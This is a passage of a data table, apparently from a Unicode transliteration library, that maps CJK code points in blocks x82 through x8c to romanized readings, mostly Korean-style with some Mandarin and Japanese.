'Twu ','Thal ','Niao ','Noy ','Pi ','Ko ','Gua ','Li ','Lian ','Chang ','Swu ','Jie ','Liang ','Zhou ','Pi ','Biao ',
'Lun ','Pyen ','Guo ','Kui ','Chui ','Dan ','Cen ','Nei ','Jing ','Jie ','Sek ','Ayk ','Yan ','Ren ','Sin ','Chuo ',
'Pwu ','Pwu ','Ke ','Pi ','Kang ','Wan ','Dong ','Pi ','Guo ','Zong ','Ding ','Wu ','Mei ','Ruan ','Zhuan ','Cil ',
'Cwu ','Gua ','Ou ','Di ','Am ','Seng ','Noy ','Yu ','Chuan ','Nan ','Yun ','Cong ','Rou ','Ak ','Sai ','Tu ',
'Yo ','Ken ','Wei ','Jiao ','Yu ','Jia ','Tan ','Phik ','Cang ','Pok ','Sen ','Ni ','Mian ','Wa ','Tung ','Thoy ',
'Pang ','Qian ','Lye ','Ol ','Swu ','Tang ','So ','Zhui ','Kyek ','Yi ','Pak ','Lyo ','Ji ','Pi ','Xie ','Ko ',
'Lu ','Bin ','','Chang ','Lu ','Guo ','Pang ','Chuai ','Phyo ','Jiang ','Pwu ','Tang ','Mak ','Sul ','Cen ','Lu ',
'Kyo ','Ying ','Lu ','Cil ','Tara ','Chun ','Lian ','Tong ','Phayng ','Ni ','Zha ','Liao ','Cui ','Gui ','Xiao ','Teng ',
'Pen ','Zhi ','Jiao ','Sen ','Mwu ','Chwey ','Run ','Xiang ','Swu ','Pwun ','Ung ','Dan ','Zhua ','Tam ','Hoy ','Nong ',
'Twun ','Lian ','Pi ','Yong ','Jue ','Chu ','Ek ','Juan ','La ','Lian ','Co ','Tun ','Gu ','Cey ','Cui ','Pin ',
'Xun ','No ','Huo ','Cang ','Xian ','Biao ','Xing ','Kuan ','Lap ','Yen ','Lye ','Huo ','Zang ','La ','Qu ','Cang ',
'Lyen ','Ni ','Zang ','Sin ','Qian ','Wa ','Guang ','Cang ','Lim ','Guang ','Ca ','Jiao ','El ','Chwi ','Ji ','Gao ',
'Chou ','Mian ','Nie ','Ci ','Chi ','Ge ','Chen ','Die ','Zhi ','Xiu ','Tay ','Cin ','Kwu ','Xian ','Yu ','Cha ',
],
'x82':[
'Yao ','Ye ','Yong ','Sek ','Sek ','Kwu ','Yu ','Ye ','Hung ','Ju ','Kwu ','Xin ','Sel ','Sa ','Sha ','Jiu ',
'Ci ','Tan ','Se ','Shi ','Tian ','Dan ','Pho ','Pu ','Kwan ','Hua ','Tan ','Chen ','Swun ','Xia ','Mwu ','Cwu ',
'Dao ','Kang ','Shan ','Yi ','','Pa ','Tai ','Fan ','Ban ','Chuan ','Hang ','Pang ','Pan ','Que ','Ro ','Zhong ',
'Jian ','Cang ','Ling ','Chwuk ','Ze ','Tha ','Pak ','Hyen ','Ka ','Sen ','Xia ','Lu ','Hong ','Pang ','Xi ','',
'Pwu ','Zao ','Feng ','Li ','Shao ','Ye ','Lang ','Ceng ','','Wei ','Bo ','Meng ','Nian ','Ke ','Huang ','Shou ',
'Zong ','Phyen ','Mao ','Die ','Dou6','Bang ','Cha ','Yi ','So ','Chang ','Co ','Lou ','Dai ','Sori ','Yao ','Tong ',
'Tou ','Dang ','Tan ','Lu ','Uy ','Jie ','Ham ','Huo ','Mong ','Qi ','Lo ','Lo ','Chan ','Shuang ','Kan ','Lyang ',
'Jian ','Kan ','Sayk ','Yan ','Pwul ','Ping ','Yem ','Yem ','Cho ','','Yi ','Le ','Ting ','Qiu ','Ay ','Nai ',
'Tiao ','Jiao ','Jie ','Peng ','Wan ','Yi ','Chai ','Mian ','Mi ','Gan ','Chen ','Wu ','Yu ','Cak ','Kwung ','Tu ',
'Xia ','Qi ','Mang ','Zi ','Hwey ','Sui ','Zhi ','Xiang ','Pi ','Pwu ','Twun ','Wei ','Wu ','Ci ','Qi ','Sam ',
'Wen ','Kem ','In ','Pwu ','Kou ','Kay ','Ho ','Se ','Kup ','Kum ','Ki ','Wen ','Pwun ','Pha ','Yey ','Sim ',
'Ki ','Hwa ','Hua ','Pang ','Wu ','Jue ','Gou ','Ci ','Wun ','Kun ','Ao ','Chwu ','Mo ','A ','Pi ','Ing ',
'Hang ','Cong ','Yin ','You ','Bian ','Yey ','Susa ','Wei ','Li ','Pi ','E ','Xian ','Chang ','Cang ','Meng ','Su ',
'Yi ','Wen ','Yem ','Lyeng ','Thay ','Cho ','Di ','Myo ','Qiong ','Li ','Yong ','Ka ','Mok ','Pei ','Pho ','Kwu ',
'Min ','I ','Yi ','Ke ','Pi ','Yak ','Ko ','Ce ','Ni ','Bo ','Bing ','Cem ','Qiu ','Yao ','Xian ','Pwun ',
'Hong ','Yeng ','Zha ','Tong ','Ce ','Die ','Nie ','Gan ','Hu ','Phyeng ','May ','Pwu ','Sheng ','Ko ','Phil ','Mi ',
],
'x83':[
'Pwul ','Cwul ','Mwu ','Pem ','Ka ','Mo ','Mao ','Ba ','Ca ','Mal ','Zi ','Di ','Chi ','Ji ','Jing ','Long ',
'','Niao ','','Xue ','Ying ','Qiong ','Ge ','Myeng ','Li ','Rong ','Yin ','Kan ','Chen ','Chay ','Chen ','Yu ',
'Xiu ','Zi ','Lie ','O ','Ji ','Gui ','Ce ','Chong ','Ca ','Gou ','Kwang ','Mang ','Si ','Jiao ','Jiao ','Pok ',
'Yu ','Swu ','Ca ','Kang ','Hoy ','In ','Ta ','Fa ','Yong ','Ye ','Chong ','Mang ','Tong ','Zhong ','','Zhu ',
'Swun ','Huan ','Kua ','Cen ','Gai ','Da ','Hyeng ','Hayng ','Chuan ','Cho ','Hyeng ','Er ','An ','Shou ','Chi ','Im ',
'Chen ','Cey ','Hwang ','Ping ','Li ','Jin ','Lao ','Shu ','Cang ','Da ','Jia ','Rao ','Bi ','Ze ','Qiao ','Hui ',
'Qi ','Dang ','','Rong ','Hun ','Ying ','Luo ','Ying ','Xun ','Jin ','Sun ','Yin ','Mai ','Hong ','Zhou ','Yao ',
'Du ','Wei ','Chu ','Twu ','Fu ','Ren ','Yin ','Ha ','Bi ','Bu ','Yun ','Cek ','Tu ','Sui ','Sui ','Cheng ',
'Chen ','Wu ','Bie ','Xi ','Geng ','Li ','Fu ','Zhu ','Mo ','Li ','Cang ','Ji ','Duo ','Qiu ','Sa ','Suo ',
'Chen ','Feng ','Ke ','May ','Meng ','Xing ','Kyeng ','Che ','Sin ','Jun ','Yen ','Ceng ','Diao ','Cwa ','Kwan ','Ham ',
'Yu ','Cuo ','Hyep ','Wang ','Chen ','Niu ','Shao ','Xian ','Lang ','Pwu ','A ','Mak ','Wen ','Jie ','Nan ','Mu ',
'Kan ','Lay ','Lian ','Shi ','Wo ','To ','Lian ','Huo ','You ','Ying ','Ying ','Nuc ','Chun ','Mang ','Mang ','Ca ',
'Wan ','Cheng ','Cek ','Qu ','Dong ','Kwan ','Zou ','Gu ','La ','Lok ','Kwuk ','Mi ','Kyun ','Nie ','Kun ','He ',
'Pu ','Chi ','Gao ','Kwa ','Pok ','Lun ','Chang ','Chou ','Swung ','Chui ','Zhan ','Men ','Chay ','Ba ','Li ','To ',
'Pha ','Ham ','Bao ','Qin ','Juan ','Xi ','Qin ','Di ','Jie ','Po ','Dang ','Kun ','Zhao ','Tai ','Geng ','Hwa ',
'Ko ','Lung ','Pi ','Jin ','Am ','Wang ','Pong ','Zhou ','Yan ','Ce ','Jian ','Lin ','Tan ','Swu ','Tian ','Dao ',
],
'x84':[
'Hu ','Qi ','He ','Chwey ','To ','Chwun ','Pi ','Cang ','Huan ','Fei ','Lay ','Che ','Mayng ','Phyeng ','Wi ','Dan ',
'Sha ','Huan ','Yan ','Yi ','Tiao ','Qi ','Wan ','Ce ','Nai ','Kutabireru ','Tuo ','Jiu ','Tie ','Luo ','','',
'Meng ','','Yaji ','','Ying ','Ying ','Ying ','Xiao ','Sa ','Chwu ','Ke ','Xiang ','Man ','Yu ','Yu ','Fu ',
'Lian ','Hwen ','Yuan ','Nan ','Ze ','Wa ','Chun ','Xiao ','Yu ','Phyen ','Mao ','An ','Ak ','Lak ','Ying ','Huo ',
'Gua ','Jiang ','Mian ','Zuo ','Zuo ','Ju ','Po ','Rou ','Xi ','Yep ','Am ','Qu ','Jian ','Fu ','Lu ','Jing ',
'Pen ','Phwung ','Hong ','Hong ','Hou ','Yan ','Tu ','Ce ','Zi ','Xiang ','Sim ','Kal ','Jie ','Jing ','Mi ','Huang ',
'Shen ','Pho ','Gai ','Tong ','Zhou ','Qian ','Wi ','Bo ','Wei ','Pha ','Kyey ','Ho ','Cang ','Ka ','Duan ','Yak ',
'Jun ','Chong ','Quan ','Wi ','Zhen ','Kyu ','Ting ','Hwun ','Xi ','Shi ','Cup ','Lan ','Zong ','Yao ','Yuan ','Mei ',
'Yun ','Shu ','Chey ','Zhuan ','Guan ','Sukumo ','Xue ','Chan ','Kai ','Kui ','','Cang ','Lou ','Wi ','Pai ','',
'Swu ','Yin ','Shi ','Chun ','Si ','Yun ','Zhen ','Lang ','Nu ','Mong ','He ','Que ','San ','Yuan ','Li ','Kwu ',
'Xi ','Pang ','Chu ','Xu ','Tu ','Liu ','Wo ','Zhen ','Chen ','Zu ','Po ','Cuo ','Yuan ','Chwu ','Yu ','Koy ',
'Pan ','Pu ','Pho ','Na ','Sak ','Xi ','Fen ','Yun ','Cung ','Kyem ','Cil ','Yak ','Chang ','En ','Mi ','Ho ',
'So ','Cin ','Myeng ','Huo ','Chwuk ','Liu ','Sek ','Gu ','Lang ','Yong ','Ong ','Kay ','Cuo ','Si ','Tang ','Luo ',
'Yok ','Sa ','Xian ','Pay ','Yao ','Gui ','Pi ','Zong ','Gun ','Za ','Swu ','Ce ','Hai ','Lan ','','Ji ',
'Li ','Can ','Lang ','Yu ','','Ying ','Mo ','Diao ','Tiao ','Mao ','Tong ','Zhu ','Pong ','Am ','Lyen ','Chong ',
'Xi ','Phyeng ','Qiu ','Jin ','Swun ','Jie ','Wei ','Tui ','Cao ','Yu ','Yi ','Ji ','Lyo ','Phil ','Lu ','Swuk ',
],
'x85':[
'Pwu ','Zhang ','Luo ','Jiang ','Man ','Yan ','Lung ','Ji ','Piao ','Gun ','Han ','Di ','Su ','Lu ','She ','Shang ',
'Di ','Myel ','Xun ','Man ','Pok ','Chey ','Cuo ','Ca ','Sam ','Xuan ','Wul ','Hu ','Ao ','Mi ','Lwu ','Cwu ',
'Zhong ','Chay ','Po ','Cang ','Mi ','Chong ','Co ','Hui ','Jun ','Yin ','Cem ','Yan ','So ','Um ','Kui ','Cin ',
'Hu ','Sha ','Kou ','Qian ','Ma ','Cang ','Sonoko ','Qiang ','Dou ','Lian ','Lin ','Kou ','Ai ','Phyey ','Li ','Wi ',
'Ji ','Tam ','Sheng ','Pen ','Meng ','Ou ','Chen ','Dian ','Xun ','Cho ','Yey ','Yey ','Lei ','Yu ','Kyo ','Chu ',
'Hua ','Jian ','Mai ','Wun ','Bao ','Yu ','Ke ','Lu ','Yo ','Hyey ','E ','Teng ','Fei ','Jue ','Chey ','Fa ',
'Ru ','Pwun ','Kui ','Swun ','Yu ','Ya ','Xu ','Fu ','Kwel ','Thang ','Mwu ','Tong ','Si ','So ','Xi ','Long ',
'On ','','Qi ','Jian ','Yun ','Sun ','Ling ','Yu ','Xia ','Yong ','Cup ','Hong ','Si ','Nong ','Loy ','Xuan ',
'On ','Yu ','Xi ','Hao ','Pak ','Hao ','Ay ','Mi ','Hui ','Yey ','Kyey ','Ci ','Hyang ','Luan ','Mie ','Uy ',
'Leng ','Kang ','Can ','Shen ','Cang ','Lian ','Ke ','Wen ','Da ','Chi ','Tang ','Sel ','Pyek ','Tam ','Sun ','Lian ',
'Fan ','Ding ','Jie ','Gu ','Hay ','Chok ','Chen ','Kao ','Hwung ','Sal ','Sin ','Hwun ','Yak ','Hai ','Sou ','Se ',
'Hwun ','Dui ','Pin ','Wei ','Neng ','Chou ','Mai ','Ru ','Piao ','Tai ','Cey ','Zao ','Chen ','Zhen ','Er ','Ni ',
'Ying ','Ko ','Cong ','Xiao ','Qi ','Fa ','Jian ','Xu ','Kui ','Ca ','Bian ','Diao ','Mi ','Lam ','Sin ','Cang ',
'Myo ','Qiong ','Qie ','Xian ','','Wu ','Xian ','Su ','Lu ','Yi ','Xu ','Xie ','Lye ','Yey ','La ','Lei ',
'Xiao ','Di ','Zhi ','Bei ','Tung ','Yak ','Mo ','Huan ','Biao ','Pen ','Swu ','Tan ','Tui ','Qiong ','Qiao ','Wei ',
'Liu ','Hui ','','Gao ','On ','','Li ','Ce ','Chu ','Ay ','Lin ','Co ','Xuan ','Chin ','Lai ','Kwak ',
],
'x86':[
'Thak ','Wu ','Yey ','Rui ','Ki ','Heng ','Lo ','So ','Tui ','Mang ','On ','Pin ','Yu ','Xun ','Ji ','Jiong ',
'Xian ','Mo ','Hagi ','Su ','Jiong ','','El ','Pyek ','Yang ','Yi ','Sen ','Yu ','Ju ','Lian ','Lian ','Yin ',
'Qiang ','Ying ','Long ','Tong ','Wei ','Yue ','Ling ','Ke ','Yao ','Pen ','Mi ','Lan ','Kui ','Lan ','Ji ','Thang ',
'Katsura ','Lei ','Lei ','Hua ','Feng ','Zhi ','Wei ','Kui ','Zhan ','Huai ','Li ','Ji ','Mi ','Lei ','Huai ','La ',
'Ji ','Ki ','Lu ','Jian ','San ','','Lei ','Quan ','Xiao ','Yi ','Luan ','Men ','Bie ','Hu ','Ho ','Lu ',
'Hak ','Lu ','Si ','Hyo ','Ken ','Che ','Hu ','Xu ','Cuo ','Fu ','He ','He ','Lo ','Hu ','Wu ','Ho ',
'Jiao ','Ju ','Guo ','Bao ','Yan ','Zhan ','Zhan ','Hyu ','Ban ','Xi ','Shu ','Hwey ','Kyu ','Diao ','Ji ','Kyu ',
'Cheng ','Sul ','','Di ','Zhe ','She ','Yu ','Gan ','Ca ','Hong ','Hwey ','Meng ','Ge ','Sui ','Xia ','Chai ',
'Shi ','Yi ','Ma ','Xiang ','Fang ','E ','Pa ','Chi ','Qian ','Wen ','Mwun ','Yey ','Pang ','Pi ','Yue ','Yue ',
'Jun ','Qi ','Tong ','In ','Qi ','Chen ','Yuan ','Jue ','Hui ','Qin ','Qi ','Zhong ','Ya ','Ci ','Mu ','Wang ',
'Fen ','Fen ','Hang ','Kong ','Co ','Fu ','Ran ','Jie ','Pwu ','Chi ','Twu ','Piao ','Xian ','Ni ','Te ','Kwu ',
'Yu ','Chayk ','Ping ','Chi ','Yu ','He ','Han ','Ju ','Li ','Fu ','Ran ','Zha ','Gou ','Pi ','Bo ','Xian ',
'Cwu ','Diao ','Bie ','Bing ','Gu ','Cem ','Ce ','Sa ','Tie ','Lyeng ','Gu ','Tan ','Gu ','Hyeng ','Li ','Cheng ',
'Qu ','Mou ','Ge ','Ci ','Hoy ','Hui ','Mang ','Fu ','Yang ','Wa ','Lie ','Cwu ','Yi ','Xian ','Hwal ','Kyo ',
'Li ','Yi ','Ping ','Kil ','Hap ','She ','Yi ','Wang ','Mo ','Kong ','Qie ','Gui ','Kong ','Cil ','Man ','Ebi ',
'Zhi ','Jia ','Rao ','Si ','Qi ','Xing ','Lie ','Qiu ','So ','Yong ','Jia ','Sey ','Che ','Bai ','A ','Han ',
],
'x87':[
'Chok ','Xuan ','Pong ','Sin ','Zhen ','Fu ','Hyen ','Zhe ','O ','Pwu ','Li ','Lang ','Bi ','Chu ','Yuan ','You ',
'Jie ','Tan ','Yan ','Ting ','Dian ','Sey ','Hoy ','Gua ','Ci ','Song ','Pi ','Ju ','Mil ','Ki ','Qi ','Yu ',
'Jun ','Sa ','Meng ','Qiang ','Si ','Sek ','Lun ','Li ','Cep ','Co ','Tao ','Kun ','Gan ','Han ','Yu ','Bang ',
'Fei ','Pi ','Wei ','Dun ','Chek ','Yen ','Su ','Kwen ','Qian ','Rui ','Yey ','Cheng ','Wei ','Liang ','Guo ','Wen ',
'Tong ','E ','Ban ','Di ','Wang ','Can ','Yang ','Ying ','Guo ','Sen ','','Lap ','Kwa ','Ji ','Kal ','Ting ',
'Mai ','Xu ','Mian ','Yu ','Jie ','Sik ','Xuan ','Hwang ','Yan ','Phyen ','Rou ','Wei ','Fu ','Yuan ','Mei ','Wi ',
'Pok ','Ruan ','Xie ','You ','Yu ','Mo ','Ha ','Ying ','Sul ','Chong ','Tang ','Zhu ','Zong ','Ti ','Pok ','Yuan ',
'Hui ','Meng ','La ','Du ','Hwu ','Qiu ','Cep ','Li ','Wa ','Yun ','Ju ','Nan ','Lou ','Qun ','Rong ','Ying ',
'Jiang ','','Lang ','Pang ','Si ','Xi ','Ci ','Xi ','Yuan ','Weng ','Lian ','Sou ','Pan ','Yung ','Rong ','Ji ',
'Wu ','Qiu ','Han ','Qin ','Yi ','Bi ','Hua ','Tang ','Uy ','Du ','Nai ','He ','Hu ','Hui ','Ma ','Myeng ',
'Yi ','Wen ','Hyeng ','Tung ','Yu ','Cang ','So ','Ebi ','Man ','','Shang ','Shi ','Cao ','Li ','Di ','Ao ',
'Lu ','Wei ','Zhi ','Tang ','Cin ','Piao ','Qu ','Pi ','Yu ','Jian ','La ','Lwu ','Qin ','Cong ','Yin ','Jiang ',
'Sol ','Wen ','Jiao ','Wan ','Chip ','Zhe ','Ma ','Ma ','Guo ','Liu ','Mo ','Sil ','Cong ','Li ','Man ','Xiao ',
'Tou ','Zhang ','Mang ','Xiang ','Mo ','Zui ','Si ','Qiu ','Te ','Zhi ','Phayng ','Phayng ','Jiao ','Qu ','Bie ','Liao ',
'Pan ','Gui ','Xi ','Ki ','Zhuan ','Huang ','Fei ','Lao ','Jue ','Jue ','Hui ','Yin ','Sen ','Jiao ','Shan ','Yo ',
'Xiao ','Mou ','Chwung ','Xun ','Si ','','Cheng ','Tang ','Li ','Hay ','Shan ','Uy ','Jing ','Da ','Sem ','Qi ',
],
'x88':[
'Ci ','Xiang ','She ','La ','Qin ','Sung ','Chai ','Li ','Ze ','Xuan ','Lian ','Zhu ','Ze ','Kal ','Mang ','Xie ',
'Qi ','Yeng ','Jian ','Meng ','Hao ','Yu ','Huo ','Zhuo ','Jie ','Bin ','He ','Mie ','Fan ','Lei ','Jie ','Lap ',
'Mi ','Lye ','Cwun ','Lye ','Qiu ','Nie ','Lu ','Du ','Xiao ','Zhu ','Long ','Li ','Long ','Feng ','Ye ','Beng ',
'Shang ','Ko ','Kyen ','Ying ','','Xi ','Cam ','Qu ','Quan ','Twu ','Can ','Man ','Jue ','Jie ','Zhu ','Zha ',
'Hyel ','Huang ','Niu ','Pei ','Nyuk ','Hun ','Cwung ','Mo ','Er ','Ke ','Myel ','Xi ','Hayng ','Yen ','Kan ','Yuan ',
'','Ling ','Hyen ','Swul ','Xian ','Tong ','Long ','Ka ','Xian ','A ','Hu ','Wi ','Dao ','Chwung ','Wi ','Dao ',
'Zhun ','Hyeng ','Kwu ','Uy ','Koromohen ','Bu ','Gan ','Yu ','Phyo ','Cha ','Yi ','Sam ','Chen ','Fu ','Kon ','Fen ',
'Soy ','Jie ','Nap ','Zhong ','Dan ','Ri ','Zhong ','Chwung ','Xie ','Qi ','Xie ','Ran ','Zhi ','Im ','Kum ','Kum ',
'Jun ','Wen ','Myey ','Chai ','Ao ','Niao ','Wi ','Ran ','Ka ','Tuo ','Ling ','Tay ','Bao ','Pho ','Yao ','Zuo ',
'Bi ','Shao ','Tan ','Ju ','He ','Shu ','Swu ','Cin ','Yi ','Pa ','Bo ','Ce ','Wa ','Pwu ','Kon ','Zhi ',
'Zhi ','Ran ','Pen ','Yi ','Mwu ','','Na ','Kou ','Xian ','Chan ','Ke ','Phi ','Gun ','Xi ','Ne ','Bo ',
'Horo ','Pok ','Yi ','Chi ','Ko ','Ren ','Jiang ','Jia ','Cun ','Mo ','Jie ','Er ','Luo ','Ru ','Zhu ','Gui ',
'In ','Cay ','Lyel ','Kamishimo ','Yuki ','Cang ','Dang ','Seot ','Kun ','Ken ','Nyo ','Shu ','Jia ','Kon ','Cheng ','Li ',
'Juan ','Shen ','Pwu ','Ge ','Yey ','Yu ','Zhen ','Liu ','Kwu ','Kwun ','Ji ','Yi ','Po ','Cang ','Shui ','Sa ',
'Qun ','Li ','Lian ','Lian ','Ku ','Jian ','Fou ','Chan ','Pi ','Gun ','Tao ','Yuan ','Ling ','Chi ','Chang ','Cwu ',
'Duo ','Phyo ','Liang ','Sang ','Pay ','Pey ','Fei ','Yuan ','La ','Kwa ','Yan ','Du ','Xi ','Cey ','Ke ','Qi ',
],
'x89':[
'Ji ','Zhi ','Gua ','Ken ','Che ','Ti ','Ti ','Pok ','Chong ','Xie ','Phyen ','Die ','Kon ','Duan ','Xiu ','Xiu ',
'Kal ','Yuan ','Pho ','Po ','Fu ','Yu ','Tuan ','Yan ','Wi ','Pey ','Ce ','Lu ','Ena ','Tan ','Yun ','Da ',
'Gou ','Da ','Huai ','Rong ','Yuan ','Yo ','Nai ','Kyeng ','Suo ','Ban ','Thoy ','Chi ','Sang ','Niao ','Ying ','Jie ',
'Ken ','Huai ','Ku ','Lian ','Bao ','Li ','Sup ','Shi ','Lwu ','Yi ','Chep ','Sel ','Xian ','Wei ','Biao ','Cao ',
'Ji ','Kang ','Sen ','Bao ','Yang ','Chihaya ','Pu ','Jian ','Zhuan ','Jian ','Zui ','Ji ','Dan ','Cap ','Fan ','Bo ',
'Xiang ','Xin ','Bie ','Rao ','Man ','Lan ','O ','Duo ','Koy ','Cao ','Sui ','Nong ','Chem ','Lian ','Pyek ','Kum ',
'Tang ','Shu ','Tan ','Bi ','Lam ','Pu ','Yu ','Zhi ','','Shu ','Mal ','Shi ','Bai ','Hil ','Bo ','Chin ',
'Lai ','Long ','Sup ','Xian ','Lan ','Zhe ','Dai ','Tasuki ','Zan ','Shi ','Jian ','Pan ','Yi ','Ran ','Ya ','Se ',
'Xi ','Yo ','Feng ','Tam ','','Biao ','Pok ','Phay ','Hayk ','Ki ','Ji ','Kyen ','Kwan ','Bian ','Yan ','Kyu ',
'Jue ','Pian ','Mao ','Myek ','Mi ','Mie ','Si ','Sa ','Cem ','Luo ','Kak ','Mi ','Tiao ','Lian ','Yao ','Zhi ',
'Jun ','Kyek ','Shan ','Wei ','Xi ','Tian ','Yu ','Lam ','Ak ','To ','Chin ','Pang ','Ki ','Ming ','Ying ','Kwu ',
'Qu ','Zhan ','Kun ','Kwan ','Deng ','Jian ','Luo ','Che ','Jian ','Wei ','Kak ','Qu ','Luo ','Lam ','Shen ','Cek ',
'Kwan ','Jian ','Guan ','Yan ','Gui ','Mi ','Shi ','Zhan ','Lan ','Jue ','Ji ','Xi ','Di ','Tian ','Yu ','Gou ',
'Jin ','Qu ','Kak ','Jiu ','Kun ','Cu ','Kyel ','Zhi ','Chao ','Ji ','Ko ','Dan ','Ca ','Ce ','Shang ','Hua ',
'Quan ','Ge ','Chi ','Hay ','Gui ','Koyng ','Chok ','Jie ','Hun ','Qiu ','Xing ','Sok ','Ni ','Ji ','Lu ','Zhi ',
'Zha ','Phil ','Xing ','Kok ','Sang ','Gong ','Chi ','Xue ','Chok ','Xi ','Yi ','Lu ','Jue ','Xi ','Yan ','Xi ',
],
'x8a':[
'En ','Gonben ','Ceng ','Pwu ','Qiu ','Qiu ','Jiao ','Koyng ','Kyey ','Pem ','Sin ','Diao ','Hong ','Cha ','Tho ','Xu ',
'Al ','I ','Ren ','Hwun ','Un ','San ','Hul ','Thak ','Ki ','Xun ','Un ','Wa ','Fen ','A ','Yao ','Song ',
'Shen ','Yin ','Hun ','Kyel ','Xiao ','Nwul ','Chen ','You ','Zhi ','Xiong ','Pang ','Xin ','Chao ','Sel ','Xian ','Sha ',
'Tun ','He ','Yi ','Yek ','So ','Chi ','Ka ','Shen ','He ','Xu ','Cin ','Cwu ','Ceng ','Gou ','Ca ','Zi ',
'Zhan ','Ko ','Fu ','Quan ','Die ','Ling ','Ce ','Yang ','Li ','Nao ','Pan ','Cwu ','Gan ','Yi ','Ke ','Ao ',
'Sa ','I ','I ','Qu ','Co ','Phyeng ','Phi ','Hyeng ','Kwul ','Ba ','Da ','Ce ','Tao ','Zhu ','Sa ','Zhe ',
'Yeng ','Hwu ','Swun ','Yey ','Huang ','He ','Si ','Cha ','Jiao ','Si ','Hen ','Tha ','Kwu ','Kwey ','Cen ','Hui ',
'Hil ','Hwa ','Hay ','Sang ','Wei ','Sen ','Chou ','Tong ','Mi ','Chem ','Ming ','E ','Hoy ','Yan ','Xiong ','Kway ',
'Er ','Beng ','Co ','Chi ','Loy ','Cwu ','Kwang ','Kwa ','Wu ','Yey ','Teng ','Ji ','Ci ','In ','Su ','Lang ',
'E ','Kwang ','Huy ','Se ','Ting ','Than ','Bo ','Chan ','Yu ','Heng ','Cho ','Qin ','Shua ','An ','E ','Xiao ',
'Seng ','Kyey ','Hyen ','Mwu ','O ','Ko ','Song ','Pho ','Hoy ','Jing ','Sel ','Zhen ','Sel ','Tok ','Yasashi ','Chang ',
'Swu ','Jie ','Kwa ','Qu ','Cong ','Xiao ','Swu ','Wang ','Xuan ','Pi ','Chi ','Ta ','Uy ','Na ','Un ','Co ',
'Pi ','Chuo ','Chem ','Chen ','Swun ','Ji ','Qi ','Tam ','Zhui ','Wi ','Ju ','Cheng ','Jian ','Cayng ','Ze ','Chwu ',
'Qian ','Chak ','Lyang ','Jian ','Zhu ','Hao ','Lon ','Sim ','Biao ','Huai ','Pian ','Yu ','Chep ','Se ','Phyen ','Si ',
'Hwen ','Si ','Wen ','Hua ','Ak ','Zhong ','Chey ','Hay ','Fu ','Pu ','Ceng ','Kan ','Qi ','Yu ','Ca ','Chuan ',
'Si ','Hwi ','Yin ','Am ','Ham ','Nan ','Sim ','Phwung ','Cey ','Yang ','En ','Heng ','Hwen ','Ge ','Nak ','Qi ',
],
'x8b':[
'Mo ','Al ','Wi ','','Tung ','Zou ','Shan ','Ken ','Bo ','','Huang ','Huo ','Ka ','Ying ','Mi ','Xiao ',
'Mil ','Hyey ','Qiang ','Chen ','Hak ','Ti ','So ','Pang ','Chi ','Kyem ','Ik ','Kang ','Wen ','Sa ','Xue ','Tao ',
'Yo ','Yao ','','Wu ','Biao ','Cong ','Kyeng ','Li ','Mo ','Mo ','Shang ','Cek ','Lyu ','Cen ','Ze ','Jie ',
'Lian ','Lou ','Can ','Kwu ','Guan ','Xi ','Zhuo ','O ','Ao ','Kun ','Zhe ','Yi ','Hu ','Jiang ','Man ','Chao ',
'Han ','Hwa ','Chan ','Hwu ','Zeng ','Se ','Xi ','She ','Dui ','Cung ','Nao ','Lan ','Wa ','Ying ','Hyul ','Ki ',
'Zun ','Jiao ','Bo ','Hui ','Sen ','Mu ','Cham ','Zha ','Sik ','Cho ','Tam ','Zen ','Po ','Sheng ','Xuan ','Co ',
'Tan ','Dang ','Sui ','Qian ','Ji ','Jiao ','Kyeng ','Lian ','Nou ','Yi ','Ai ','Sem ','Pi ','Hui ','Hua ','Yek ',
'Uy ','Sen ','Rang ','Nou ','Kyen ','Zhui ','Ta ','Ho ','Zhou ','Hao ','Ye ','Ying ','Jian ','Yey ','Jian ','Hyey ',
'Tok ','Zhe ','Xuan ','Chan ','Lei ','Shen ','Wei ','Chan ','Li ','Yu ','Pyen ','Zhe ','Yen ','E ','Swu ','Wei ',
'Swu ','Yao ','Cham ','Yang ','Yin ','Lan ','Cham ','Huo ','Zhe ','Hwan ','Chan ','Yi ','Tang ','Zhan ','En ','Du ',
'Yan ','Ji ','Ding ','Fu ','Ren ','Ji ','Jie ','Hong ','Tao ','Rang ','Shan ','Qi ','Thak ','Xun ','Yi ','Xun ',
'Ji ','Ren ','Jiang ','Hui ','Ou ','Ju ','Ya ','Ne ','Xu ','E ','Lun ','Xiong ','Song ','Feng ','She ','Fang ',
'Jue ','Zheng ','Gu ','He ','Ping ','Zu ','Shi ','Xiong ','Zha ','Su ','Zhen ','Di ','Zou ','Ci ','Qu ','Zhao ',
'Bi ','Yi ','Yi ','Kuang ','Lei ','Shi ','Gua ','Shi ','Jie ','Hui ','Cheng ','Zhu ','Shen ','Hua ','Dan ','Gou ',
'Quan ','Gui ','Xun ','Yi ','Zheng ','Gai ','Xiang ','Cha ','Hun ','Xu ','Zhou ','Jie ','Wu ','Yu ','Qiao ','Wu ',
'Gao ','You ','Hui ','Kuang ','Shuo ','Song ','Ai ','Qing ','Zhu ','Zou ','Nuo ','Du ','Zhuo ','Fei ','Ke ','Wei ',
],
'x8c':[
'Yu ','Shui ','Shen ','Diao ','Chan ','Liang ','Zhun ','Sui ','Tan ','Shen ','Yi ','Mou ','Chen ','Die ','Huang ','Jian ',
'Xie ','Nue ','Ye ','Wei ','E ','Yu ','Xuan ','Chan ','Zi ','An ','Yan ','Di ','Mi ','Pian ','Se ','Mo ',
'Dang ','Su ','Xie ','Yao ','Bang ','Shi ','Qian ','Mi ','Jin ','Man ','Zhe ','Jian ','Miu ','Tan ','Zen ','Qiao ',
'Lan ','Pu ','Jue ','Yan ','Qian ','Zhan ','Chen ','Kok ','Qian ','Hong ','Xia ','Jue ','Hong ','Han ','Hong ','Kyey ',
'Xi ','Hwal ','Liao ','Han ','Du ','Long ','Twu ','Kang ','Kay ','Si ','Lyey ','Deng ','Wan ','Bi ','Swu ','Xian ',
'Phwung ','Zhi ','Zhi ','Yan ','Yan ','Si ','Chwuk ','Hui ','Tun ','Yi ','Ton ','Yi ','Jian ','Ba ','Hou ','E ',
'Cu ','Sang ','Hwan ','Yen ','Ken ','Gai ','Qu ','Fu ','Huy ','Bin ','Ho ','Yey ','Ce ','Jia ','Fen ','Xi ',
'Bo ','Wen ','Huan ','Pin ','Di ','Zong ','Fen ','Yi ','Chi ','Phyo ','Si ','An ','Pi ','Na ','Pi ','Gou ',
'Na ','You ','Cho ','Mayk ','Si ','Hyu ','Huan ','Kun ','He ','He ','Mayk ','Han ','Mo ','Li ','Ni ','Bi ',
